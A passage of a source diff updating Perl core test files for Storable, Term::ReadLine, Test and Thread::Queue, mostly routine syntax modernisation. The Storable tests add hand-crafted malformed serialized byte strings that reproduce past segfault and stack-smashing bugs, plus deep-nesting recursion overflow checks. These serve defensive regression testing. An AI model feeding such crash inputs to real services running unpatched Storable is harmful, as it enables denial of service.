+ bless {}, $_[0];
}
sub STORABLE_freeze {
- my $obj = shift;
- return ("", $obj, Foo2->new);
+ my $obj = shift;
+ return ("", $obj, Foo2->new);
}
sub STORABLE_thaw { } # Not really used
package main;
-use vars qw($refcount_ok);
my $o = CLASS_OTHER->make();
my $c2 = CLASS_2->make($o);
my $so = thaw freeze $o;
-$refcount_ok = 0;
+our $refcount_ok = 0;
thaw freeze(Foo3->new);
-is($refcount_ok, 1);
+is($refcount_ok, 1, "check refcount");
+
+# Check stack overflows [cpan #97526]
+# JSON::XS limits this to 512.
+# Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000.
+# Optimized 64bit allows up to 33.000 recursion depth.
+# with asan the limit is 255 though.
+sub MAX_DEPTH () { Storable::stack_depth() }
+sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() }
+sub OVERFLOW () { 35000 }
+{
+ my $t;
+ print "# max depth ", MAX_DEPTH, "\n";
+ $t = [$t] for 1 .. MAX_DEPTH;
+ dclone $t;
+ pass "can nest ".MAX_DEPTH." array refs";
+}
+{
+ my $t;
+ $t = {1=>$t} for 1 .. MAX_DEPTH_HASH-10;
+ dclone $t;
+ pass "can nest ".(MAX_DEPTH_HASH)." hash refs";
+}
+{
+ my (@t);
+ push @t, [{}] for 1..5000;
+ #diag 'trying simple array[5000] stack overflow, no recursion';
+ dclone \@t;
+ is $@, '', 'No simple array[5000] stack overflow #257';
+}
+
+eval {
+ my $t;
+ $t = [$t] for 1 .. MAX_DEPTH*2;
+ note 'trying catching recursive aref stack overflow';
+ dclone $t;
+};
+like $@, qr/Max\. recursion depth with nested structures exceeded/,
+ 'Caught aref stack overflow '.MAX_DEPTH*2;
+
+if ($ENV{APPVEYOR} and length(pack "p", "") >= 8) {
+ # TODO: need to repro this fail on a small machine.
+ ok(1, "skip dclone of big hash");
+}
+else {
+ eval {
+ my $t;
+ # 35.000 will cause appveyor 64bit windows to fail earlier
+ $t = {1=>$t} for 1 .. MAX_DEPTH * 2;
+ note 'trying catching recursive href stack overflow';
+ dclone $t;
+ };
+ like $@, qr/Max\. recursion depth with nested structures exceeded/,
+ 'Caught href stack overflow '.MAX_DEPTH*2;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/regexp.t b/gnu/usr.bin/perl/dist/Storable/t/regexp.t
new file mode 100644
index 00000000000..acf28cfec66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/regexp.t
@@ -0,0 +1,127 @@
+#!perl -w
+use strict;
+use Storable "dclone";
+use Test::More;
+
+my $version = int(($]-5)*1000);
+
+$version >= 8
+ or plan skip_all => "regexps not supported before 5.8";
+
+my @tests;
+while (<DATA>) {
+ chomp;
+ next if /^\s*#/ || !/\S/;
+ my ($range, $code, $match, $name) = split /\s*;\s*/;
+ defined $name or die "Bad test line";
+ my $ascii_only = $range =~ s/A//;
+ next if $ascii_only and ord("A") != 65;
+ if ($range =~ /^(\d+)-$/) {
+ next if $version < $1
+ }
+ elsif ($range =~ /^-(\d+)$/) {
+ next if $version > $1
+ }
+ elsif ($range =~ /^(\d+)-(\d+)$/) {
+ next if $version < $1 || $version > $2;
+ }
+ elsif ($range ne "-") {
+ die "Invalid version range $range for $name";
+ }
+ my @match = split /\s*,\s*/, $match;
+ for my $m (@match) {
+ my $not = $m =~ s/^!//;
+ my $cmatch = eval $m;
+ die if $@;
+ push @tests, [ $code, $not, $cmatch, $m, $name ];
+ }
+}
+
+plan tests => 9 + 3*scalar(@tests);
+
+SKIP:
+{
+ $version >= 14 && $version < 20
+ or skip "p introduced in 5.14, pointless from 5.20", 4;
+ my $q1 = eval "qr/b/p";
+ my $q2 = eval "qr/b/";
+ my $c1 = dclone($q1);
+ my $c2 = dclone($q2);
+ ok("abc" =~ $c1, "abc matches $c1");
+ is(${^PREMATCH}, "a", "check p worked");
+ ok("cba" =~ $c2, "cba matches $c2");
+ isnt(${^PREMATCH}, "c", "check no p worked");
+}
+
+SKIP:
+{
+ $version >= 24
+ or skip "n introduced in 5.22", 4;
+ my $c1 = dclone(eval "qr/(\\w)/");
+ my $c2 = dclone(eval "qr/(\\w)/n");
+ ok("a" =~ $c1, "a matches $c1");
+ is($1, "a", "check capturing preserved");
+ ok("b" =~ $c2, "b matches $c2");
+ isnt($1, "b", "check non-capturing preserved");
+}
+
+SKIP:
+{
+ $version >= 8
+ or skip "Cannot retrieve before 5.8", 1;
+ my $x;
+ my $re = qr/a(?{ $x = 1 })/;
+ use re 'eval';
+ ok(!eval { dclone($re) }, "should fail to clone, even with use re 'eval'");
+}
+
+for my $test (@tests) {
+ my ($code, $not, $match, $matchc, $name) = @$test;
+ my $qr = eval $code;
+ die "Could not compile $code: $@" if $@;
+ if ($not) {
+ unlike($match, $qr, "$name: pre(not) match $matchc");
+ }
+ else {
+ like($match, $qr, "$name: prematch $matchc");
+ }
+ my $qr2 = dclone($qr);
+ if ($not) {
+ unlike($match, $qr2, "$name: (not) match $matchc");
+ }
+ else {
+ like($match, $qr2, "$name: match $matchc");
+ }
+
+ # this is unlikely to be a problem, but make sure regexps are frozen sanely
+ # as part of a data structure
+ my $a2 = dclone([ $qr ]);
+ if ($not) {
+ unlike($match, $a2->[0], "$name: (not) match $matchc (array)");
+ }
+ else {
+ like($match, $a2->[0], "$name: match $matchc (array)");
+ }
+}
+
+__DATA__
+# semi-colon separated:
+# perl version range; regexp qr; match string; name
+# - version range is PERL_VERSION, ie 22 for 5.22 as from-to with both from
+# and to optional (so "-" is all versions.
+# - match string is , separated match strings
+# - if a match string starts with ! it mustn't match, otherwise it must
+# spaces around the commas ignored.
+# The initial "!" is stripped and the remainder treated as perl code to define
+# the string to (not) be matched
+-; qr/foo/ ; "foo",!"fob" ; simple
+-; qr/foo/i ; "foo","FOO",!"fob" ; simple case insensitive
+-; qr/f o o/x ; "foo", !"f o o" ; /x
+-; qr(a/b) ; "a/b" ; alt quotes
+A-; qr(\x2E) ; ".", !"a" ; \x2E - hex meta
+-; qr/\./ ; "." , !"a" ; \. - backslash meta
+8- ; qr/\x{100}/ ; "\x{100}" ; simple unicode
+12- ; qr/fss/i ; "f\xDF\x{101}" ; case insensive unicode promoted
+22-; qr/fss/ui ; "f\xDF" ; case insensitive unicode SS /iu
+22-; qr/fss/aai ; !"f\xDF" ; case insensitive unicode SS /iaa
+22-; qr/f\w/a ; "fo", !"f\xff" ; simple /a flag
diff --git a/gnu/usr.bin/perl/dist/Storable/t/restrict.t b/gnu/usr.bin/perl/dist/Storable/t/restrict.t
index a8a9d81495c..41f7aad14c2 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/restrict.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/restrict.t
@@ -36,7 +36,9 @@ sub BEGIN {
use Storable qw(dclone freeze thaw);
use Hash::Util qw(lock_hash unlock_value lock_keys);
-use Test::More tests => 304;
+use Config;
+$Storable::DEBUGME = $ENV{STORABLE_DEBUGME};
+use Test::More tests => (!$Storable::DEBUGME && $Config{usecperl} ? 105 : 304);
my %hash = (question => '?', answer => 42, extra => 'junk', undef => undef);
lock_hash %hash;
@@ -120,7 +122,10 @@ for $Storable::canonical (0, 1) {
}
# [perl #73972]
-{
+# broken again with cperl PERL_PERTURB_KEYS_TOP.
+SKIP: {
+ skip "TODO restricted Storable hashes broken with PERL_PERTURB_KEYS_TOP", 1
+ if !$Storable::DEBUGME && $Config{usecperl};
for my $n (1..100) {
my @keys = map { "FOO$_" } (1..$n);
diff --git a/gnu/usr.bin/perl/dist/Storable/t/retrieve.t b/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
index fd8335d107a..04127728906 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
@@ -1,12 +1,14 @@
#!./perl
#
# Copyright (c) 1995-2000, Raphael Manfredi
+# Copyright (c) 2017, cPanel Inc
#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
sub BEGIN {
+ unshift @INC, 'dist/Storable/t' if $ENV{PERL_CORE} and -d 'dist/Storable/t';
unshift @INC, 't';
unshift @INC, 't/compat' if $] < 5.006002;
require Config; import Config;
@@ -19,7 +21,7 @@ sub BEGIN {
use Storable qw(store retrieve nstore);
-use Test::More tests => 14;
+use Test::More tests => 20;
$a = 'toto';
$b = \$a;
@@ -29,13 +31,13 @@ $c->{attribute} = 'attrval';
@a = ('first', '', undef, 3, -4, -3.14159, 456, 4.5,
$b, \$a, $a, $c, \$c, \%a);
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
is(Storable::last_op_in_netorder(), '');
isnt(nstore(\@a, 'nstore'), undef);
is(Storable::last_op_in_netorder(), 1);
is(Storable::last_op_in_netorder(), 1);
-$root = retrieve('store');
+$root = retrieve("store$$");
isnt($root, undef);
is(Storable::last_op_in_netorder(), '');
@@ -54,4 +56,37 @@ is($d1, $d2);
isnt($root->[1], undef);
is(length $root->[1], 0);
-END { 1 while unlink('store', 'nstore') }
+# $Storable::DEBUGME = 1;
+{
+ # len>I32: todo patch the storable image number into the strings, fake 2.10
+ # $Storable::BIN_MINOR
+ my $retrieve_blessed = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x11\xff\x49\x6e\x74\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_blessed); };
+ # Long integer or Double size or Byte order is not compatible
+ like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "RT #130635 $@");
+ is($x, undef, 'and undef result');
+}
+
+{
+ # len>I32
+ my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_hook); };
+ like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "$@");
+ is($x, undef, 'and undef result');
+}
+
+SKIP:
+{
+ # this can allocate a lot of memory, only do that if the testers tells us we can
+ # the test allocates 2GB, but other memory is allocated too, so we want
+ # at least 3
+ $ENV{PERL_TEST_MEMORY} && $ENV{PERL_TEST_MEMORY} >= 3
+ or skip "over 2GB memory needed for this test", 2;
+ # len<I32, len>127: stack overflow
+ my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\x7f\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_hook); };
+ is($?, 0, "no stack overflow in retrieve_hook()");
+ is($x, undef, 'either out of mem or normal error (malloc 2GB)');
+}
+
+END { 1 while unlink("store$$", 'nstore') }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl b/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
index e9652f02e2f..50d87128700 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
+++ b/gnu/usr.bin/perl/dist/Storable/t/st-dump.pl
@@ -17,7 +17,7 @@ use Carp;
);
# Given an object, dump its transitive data closure
-sub main'dump {
+sub main::dump {
my ($object) = @_;
croak "Not a reference!" unless ref($object);
local %dumped;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/store.t b/gnu/usr.bin/perl/dist/Storable/t/store.t
index be432995213..45af0b26b4c 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/store.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/store.t
@@ -1,7 +1,7 @@
#!./perl
#
# Copyright (c) 1995-2000, Raphael Manfredi
-#
+#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
@@ -17,9 +17,10 @@ sub BEGIN {
require 'st-dump.pl';
}
+# $Storable::DEBUGME = 1;
use Storable qw(store retrieve store_fd nstore_fd fd_retrieve);
-use Test::More tests => 21;
+use Test::More tests => 25;
$a = 'toto';
$b = \$a;
@@ -29,12 +30,12 @@ $c->{attribute} = 'attrval';
@a = ('first', undef, 3, -4, -3.14159, 456, 4.5,
$b, \$a, $a, $c, \$c, \%a);
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
$dumped = &dump(\@a);
isnt($dumped, undef);
-$root = retrieve('store');
+$root = retrieve("store$$");
isnt($root, undef);
$got = &dump($root);
@@ -42,7 +43,7 @@ isnt($got, undef);
is($got, $dumped);
-1 while unlink 'store';
+1 while unlink "store$$";
package FOO; @ISA = qw(Storable);
@@ -55,9 +56,9 @@ sub make {
package main;
$foo = FOO->make;
-isnt($foo->store('store'), undef);
+isnt($foo->store("store$$"), undef);
-isnt(open(OUT, '>>store'), undef);
+isnt(open(OUT, '>>', "store$$"), undef);
binmode OUT;
isnt(store_fd(\@a, ::OUT), undef);
@@ -66,7 +67,7 @@ isnt(nstore_fd(\%a, ::OUT), undef);
isnt(close(OUT), undef);
-isnt(open(OUT, 'store'), undef);
+isnt(open(OUT, "store$$"), undef);
$r = fd_retrieve(::OUT);
isnt($r, undef);
@@ -87,5 +88,29 @@ is(&dump($r), &dump(\%a));
eval { $r = fd_retrieve(::OUT); };
isnt($@, '');
+{
+ my %test = (
+ old_retrieve_array => "\x70\x73\x74\x30\x01\x0a\x02\x02\x02\x02\x00\x3d\x08\x84\x08\x85\x08\x06\x04\x00\x00\x01\x1b",
+ old_retrieve_hash => "\x70\x73\x74\x30\x01\x0a\x03\x00\xe8\x03\x00\x00\x81\x00\x00\x00\x01\x61",
+ retrieve_code => "\x70\x73\x74\x30\x05\x0a\x19\xf0\x00\xff\xe8\x03\x1a\x0a\x0e\x01",
+ );
+
+ for my $k (sort keys %test) {
+ open my $fh, '<', \$test{$k};
+ eval { Storable::fd_retrieve($fh); };
+ is($?, 0, 'RT 130098: no segfault in Storable::fd_retrieve()');
+ }
+}
+
+{
+
+ my $frozen =
+ "\x70\x73\x74\x30\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x03\xff\x00\x00\x00\x19\x08\xff\x00\x00\x00\x08\x08\xf9\x16\x16\x13\x16\x10\x10\x10\xff\x15\x16\x16\x16\x1e\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x13\xf0\x16\x16\x16\xfe\x16\x41\x41\x41\x41\xe8\x03\x41\x41\x41\x41\x41\x41\x41\x41\x51\x41\xa9\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xb8\xac\xac\xac\xac\xac\xac\xac\xac\x9a\xac\xac\xac\xac\xac\xac\xac\xac\xac\x93\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\x00\x64\xac\xa8\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\xac\x2c\xac\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x80\x41\x80\x41\x41\x41\x41\x41\x41\x51\x41\xac\xac\xac";
+ open my $fh, '<', \$frozen;
+ eval { Storable::fd_retrieve($fh); };
+ pass('RT 130635: no stack smashing error when retrieving hook');
+
+}
+
close OUT or die "Could not close: $!";
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/testlib.pl b/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
index 6d885d7f686..a44c3385413 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
+++ b/gnu/usr.bin/perl/dist/Storable/t/testlib.pl
@@ -1,8 +1,7 @@
#!perl -w
use strict;
-use vars '$file';
-$file = "storable-testfile.$$";
+our $file = "storable-testfile.$$";
die "Temporary file '$file' already exists" if -e $file;
END { while (-f $file) {unlink $file or die "Can't unlink '$file': $!" }}
@@ -12,7 +11,7 @@ use Storable qw (store retrieve freeze thaw nstore nfreeze);
sub slurp {
my $file = shift;
local (*FH, $/);
- open FH, "<$file" or die "Can't open '$file': $!";
+ open FH, "<", $file or die "Can't open '$file': $!";
binmode FH;
my $contents = <FH>;
die "Can't read $file: $!" unless defined $contents;
@@ -22,12 +21,13 @@ sub slurp {
sub store_and_retrieve {
my $data = shift;
unlink $file or die "Can't unlink '$file': $!";
- open FH, ">$file" or die "Can't open '$file': $!";
+ local *FH;
+ open FH, ">", $file or die "Can't open '$file': $!";
binmode FH;
print FH $data or die "Can't print to '$file': $!";
close FH or die "Can't close '$file': $!";
- return eval {retrieve $file};
+ return eval {retrieve $file};
}
sub freeze_and_thaw {
@@ -35,4 +35,4 @@ sub freeze_and_thaw {
return eval {thaw $data};
}
-$file;
+1;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied.t b/gnu/usr.bin/perl/dist/Storable/t/tied.t
index 921117dd8be..e8be39e4604 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied.t
@@ -18,6 +18,8 @@ sub BEGIN {
}
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 25;
($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);
@@ -203,7 +205,7 @@ is($FAULT::fault, 2);
{
package P;
use Storable qw(freeze thaw);
- use vars qw($a $b);
+ our ($a, $b);
$b = "not ok ";
sub TIESCALAR { bless \$a } sub FETCH { "ok " }
tie $a, P; my $r = thaw freeze \$a; $b = $$r;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t b/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
index 05b2b0fa3e8..7f2bc98b738 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_hook.t
@@ -18,6 +18,9 @@ sub BEGIN {
}
use Storable qw(freeze thaw);
+
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 28;
($scalar_fetch, $array_fetch, $hash_fetch) = (0, 0, 0);
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_items.t b/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
index d54437cff09..3d13971b01a 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_items.t
@@ -25,6 +25,8 @@ $^W = 0;
use Storable qw(dclone);
use Test::More tests => 8;
+$Storable::flags = Storable::FLAGS_COMPAT;
+
$h_fetches = 0;
sub H::TIEHASH { bless \(my $x), "H" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t b/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t
new file mode 100644
index 00000000000..44e86373e2b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/tied_reify.t
@@ -0,0 +1,36 @@
+use Test::More tests => 1;
+
+package dumb_thing;
+
+use strict; use warnings;
+use Tie::Array;
+use Carp;
+use base 'Tie::StdArray';
+
+sub TIEARRAY {
+ my $class = shift;
+ my $this = bless [], $class;
+ my $that = shift;
+
+ @$this = @$that;
+
+ $this;
+}
+
+package main;
+
+use strict; use warnings;
+use Storable qw(freeze thaw);
+
+my $x = [1,2,3,4];
+
+broken($x); # ties $x
+broken( thaw( freeze($x) ) ); # since 5.16 fails with "Cannot tie unreifiable array"
+
+sub broken {
+ my $w = shift;
+ tie @$_, dumb_thing => $_ for $w;
+}
+
+# fails since 5.16
+ok 1, 'Does not fail with "Cannot tie unreifiable array" RT#84705';
diff --git a/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t b/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
index 7eac651c6e3..a2a87257ea4 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/utf8hash.t
@@ -28,6 +28,7 @@ use Test::More tests=>144;
use bytes ();
my %utf8hash;
+$Storable::flags = Storable::FLAGS_COMPAT;
$Storable::canonical = $Storable::canonical; # Shut up a used only once warning.
for $Storable::canonical (0, 1) {
diff --git a/gnu/usr.bin/perl/dist/Storable/t/weak.t b/gnu/usr.bin/perl/dist/Storable/t/weak.t
index 0a06b0dcf62..220c70160f2 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/weak.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/weak.t
@@ -31,9 +31,11 @@ sub BEGIN {
use Test::More 'no_plan';
use Storable qw (store retrieve freeze thaw nstore nfreeze);
require 'testlib.pl';
-use vars '$file';
+our $file;
use strict;
+# $Storable::flags = Storable::FLAGS_COMPAT;
+
sub tester {
my ($contents, $sub, $testersub, $what) = @_;
# Test that if we re-write it, everything still works:
diff --git a/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t b/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t
new file mode 100644
index 00000000000..2bdf799f42d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Term-ReadLine/t/ReadLine-STDERR.t
@@ -0,0 +1,49 @@
+#!./perl -w
+use strict;
+
+use Test::More;
+
+## unit test for RT 132008 - https://rt.perl.org/Ticket/Display.html?id=132008
+
+if ( $^O eq 'MSWin32' || !-e q{/dev/tty} ) {
+ plan skip_all => "Not tested on windows or when /dev/tty does not exist";
+}
+else {
+ plan tests => 9;
+}
+
+if ( -e q[&STDERR] ) {
+ note q[Removing existing file &STDERR];
+ unlink q[&STDERR] or die q{Cannot remove existing file &STDERR [probably created from a previous run]};
+}
+
+use_ok('Term::ReadLine');
+can_ok( 'Term::ReadLine::Stub', qw{new devtty findConsole} );
+is( Term::ReadLine->devtty(), q{/dev/tty}, "check sub devtty" );
+SKIP:
+{
+ open my $tty, "<", Term::ReadLine->devtty()
+ or skip "Cannot open tty", 1;
+ -t $tty
+ or skip "No tty found, so findConsole() won't return /dev/tty", 1;
+ my @out = Term::ReadLine::Stub::findConsole();
+ is_deeply \@out, [ q{/dev/tty}, q{/dev/tty} ], "findConsole is using /dev/tty";
+}
+
+{
+ no warnings 'redefine';
+ my $donotexist = q[/this/should/not/exist/hopefully];
+
+ ok !-e $donotexist, "File $donotexist does not exist";
+ # double mention to prevent warning
+ local *Term::ReadLine::Stub::devtty =
+ *Term::ReadLine::Stub::devtty = sub { $donotexist };
+ is( Term::ReadLine->devtty(), $donotexist, "devtty mocked" );
+
+ my @out = Term::ReadLine::Stub::findConsole();
+ is_deeply \@out, [ q{&STDIN}, q{&STDERR} ], "findConsole isn't using /dev/tty" or diag explain \@out;
+
+ ok !-e q[&STDERR], 'file &STDERR do not exist before Term::ReadLine call';
+ my $tr = Term::ReadLine->new('whatever');
+ ok !-e q[&STDERR], 'file &STDERR was not created by mistake';
+}
diff --git a/gnu/usr.bin/perl/dist/Test/lib/Test.pm b/gnu/usr.bin/perl/dist/Test/lib/Test.pm
index 3350517e649..58daf281ac6 100644
--- a/gnu/usr.bin/perl/dist/Test/lib/Test.pm
+++ b/gnu/usr.bin/perl/dist/Test/lib/Test.pm
@@ -5,10 +5,9 @@ package Test;
use strict;
use Carp;
-use vars (qw($VERSION @ISA @EXPORT @EXPORT_OK $ntest $TestLevel), #public-ish
- qw($TESTOUT $TESTERR %Program_Lines $told_about_diff
- $ONFAIL %todo %history $planned @FAILDETAIL) #private-ish
- );
+our ($VERSION, @ISA, @EXPORT, @EXPORT_OK, $ntest, $TestLevel); #public-is
+our ($TESTOUT, $TESTERR, %Program_Lines, $told_about_diff,
+ $ONFAIL, %todo, %history, $planned, @FAILDETAIL); #private-ish
# In case a test is run in a persistent environment.
sub _reset_globals {
@@ -20,7 +19,7 @@ sub _reset_globals {
$planned = 0;
}
-$VERSION = '1.28_01';
+$VERSION = '1.31';
require Exporter;
@ISA=('Exporter');
@@ -199,7 +198,7 @@ sub _read_program {
my($file) = shift;
return unless defined $file and length $file
and -e $file and -f _ and -r _;
- open(SOURCEFILE, "<$file") || return;
+ open(SOURCEFILE, '<', $file) || return;
$Program_Lines{$file} = [<SOURCEFILE>];
close(SOURCEFILE);
@@ -346,7 +345,7 @@ If either (or both!) is a subroutine reference, it is run and used
as the value for comparing. For example:
ok sub {
- open(OUT, ">x.dat") || die $!;
+ open(OUT, '>', 'x.dat') || die $!;
print OUT "\x{e000}";
close OUT;
my $bytecount = -s 'x.dat';
@@ -540,7 +539,7 @@ sub _diff_complain_external {
if (close($got_fh) && close($exp_fh)) {
my $diff_cmd = "$diff $exp_filename $got_filename";
print $TESTERR "#\n# $prefix $diff_cmd\n";
- if (open(DIFF, "$diff_cmd |")) {
+ if (open(DIFF, '-|', $diff_cmd)) {
local $_;
while (<DIFF>) {
print $TESTERR "# $prefix $_";
diff --git a/gnu/usr.bin/perl/dist/Test/t/fail.t b/gnu/usr.bin/perl/dist/Test/t/fail.t
index 9051a1f481e..e131b4d9a60 100644
--- a/gnu/usr.bin/perl/dist/Test/t/fail.t
+++ b/gnu/usr.bin/perl/dist/Test/t/fail.t
@@ -1,6 +1,6 @@
# -*-perl-*-
use strict;
-use vars qw($Expect);
+our $Expect;
use Test qw($TESTOUT $TESTERR $ntest ok skip plan);
plan tests => 14;
diff --git a/gnu/usr.bin/perl/dist/Test/t/mix.t b/gnu/usr.bin/perl/dist/Test/t/mix.t
index 52983383186..12607d73bfa 100644
--- a/gnu/usr.bin/perl/dist/Test/t/mix.t
+++ b/gnu/usr.bin/perl/dist/Test/t/mix.t
@@ -6,7 +6,7 @@ use Test qw(:DEFAULT $TESTOUT $TESTERR $ntest);
### seeing the todo tests, otherwise you get people sending in bug reports
### about Test.pm having "UNEXPECTEDLY SUCCEEDED" tests.
-open F, ">mix";
+open F, ">", "mix";
$TESTOUT = *F{IO};
$TESTERR = *F{IO};
@@ -31,7 +31,7 @@ $TESTOUT = *STDOUT{IO};
$TESTERR = *STDERR{IO};
$ntest = 1;
-open F, "mix";
+open F, "<", "mix";
my $out = join '', <F>;
close F;
unlink "mix";
diff --git a/gnu/usr.bin/perl/dist/Test/t/onfail.t b/gnu/usr.bin/perl/dist/Test/t/onfail.t
index 85fe9eb8842..fa478e55f18 100644
--- a/gnu/usr.bin/perl/dist/Test/t/onfail.t
+++ b/gnu/usr.bin/perl/dist/Test/t/onfail.t
@@ -2,15 +2,14 @@
use strict;
use Test qw($ntest plan ok $TESTOUT $TESTERR);
-use vars qw($mycnt);
BEGIN { plan test => 6, onfail => \&myfail }
-$mycnt = 0;
+our $mycnt = 0;
my $why = "zero != one";
# sneak in a test that Test::Harness wont see
-open J, ">junk";
+open J, ">", "junk";
$TESTOUT = *J{IO};
$TESTERR = *J{IO};
ok(0, 1, $why);
diff --git a/gnu/usr.bin/perl/dist/Test/t/todo.t b/gnu/usr.bin/perl/dist/Test/t/todo.t
index 74f9aefb8b9..8d3d7948c12 100644
--- a/gnu/usr.bin/perl/dist/Test/t/todo.t
+++ b/gnu/usr.bin/perl/dist/Test/t/todo.t
@@ -6,7 +6,7 @@ use Test qw(:DEFAULT $TESTOUT $TESTERR $ntest);
### seeing the todo tests, otherwise you get people sending in bug reports
### about Test.pm having "UNEXPECTEDLY SUCCEEDED" tests.
-open F, ">todo";
+open F, ">", "todo";
$TESTOUT = *F{IO};
$TESTERR = *F{IO};
my $tests = 5;
@@ -25,7 +25,7 @@ $TESTOUT = *STDOUT{IO};
$TESTERR = *STDERR{IO};
$ntest = 1;
-open F, "todo";
+open F, "<", "todo";
my $out = join '', <F>;
close F;
unlink "todo";
diff --git a/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t b/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
index f9e258e0922..b20e0604ca5 100755
--- a/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
+++ b/gnu/usr.bin/perl/dist/Thread-Queue/t/07_lock.t
@@ -29,7 +29,7 @@ ok($q, 'New queue');
my $sm = Thread::Semaphore->new(0);
my $st = Thread::Semaphore->new(0);
-threads->create(sub {
+my $thr = threads->create(sub {
{
lock($q);
$sm->up();
@@ -39,13 +39,14 @@ threads->create(sub {
my @x = $q->extract(5,2);
is_deeply(\@x, [6,7], 'Thread dequeues under lock');
}
-})->detach();
+});
$sm->down();
$st->up();
my @x = $q->dequeue_nb(100);
is_deeply(\@x, [1..5,8..10], 'Main dequeues');
-threads::yield();
+
+$thr->join();
exit(0);
diff --git a/gnu/usr.bin/perl/dist/Thread-Queue/t/11_limit.t b/gnu/usr.bin/perl/dist/Thread-Queue/t/11_limit.t
index 1bd88b39a19..12f351bc74d 100644
--- a/gnu/usr.bin/perl/dist/Thread-Queue/t/11_limit.t
+++ b/gnu/usr.bin/perl/dist/Thread-Queue/t/11_limit.t
@@ -19,7 +19,7 @@ use Thread::Queue;
use Test::More;
-plan tests => 8;
+plan tests => 13;
my $q = Thread::Queue->new();
my $rpt = Thread::Queue->new();
@@ -82,12 +82,12 @@ $rpt->enqueue($q->pending);
# q = (4, 5, 'foo'); r = (4, 3, 4, 3)
# Read all items from queue
-my @item = $q->dequeue(3);
-is_deeply(\@item, [4, 5, 'foo'], 'Dequeued 3 items');
+my @items = $q->dequeue(3);
+is_deeply(\@items, [4, 5, 'foo'], 'Dequeued 3 items');
# Thread is now unblocked
-@item = $q->dequeue(2);
-is_deeply(\@item, [6, 7], 'Dequeued 2 items');
+@items = $q->dequeue(2);
+is_deeply(\@items, [6, 7], 'Dequeued 2 items');
# Thread is now unblocked
# Handshake with thread
@@ -96,6 +96,37 @@ $rpt->enqueue('go');
# (7) - Done
$th->join;
+# It's an error to call dequeue methods with COUNT > LIMIT
+eval { $q->dequeue(5); };
+like($@, qr/exceeds queue size limit/, $@);
+
+# Bug #120157
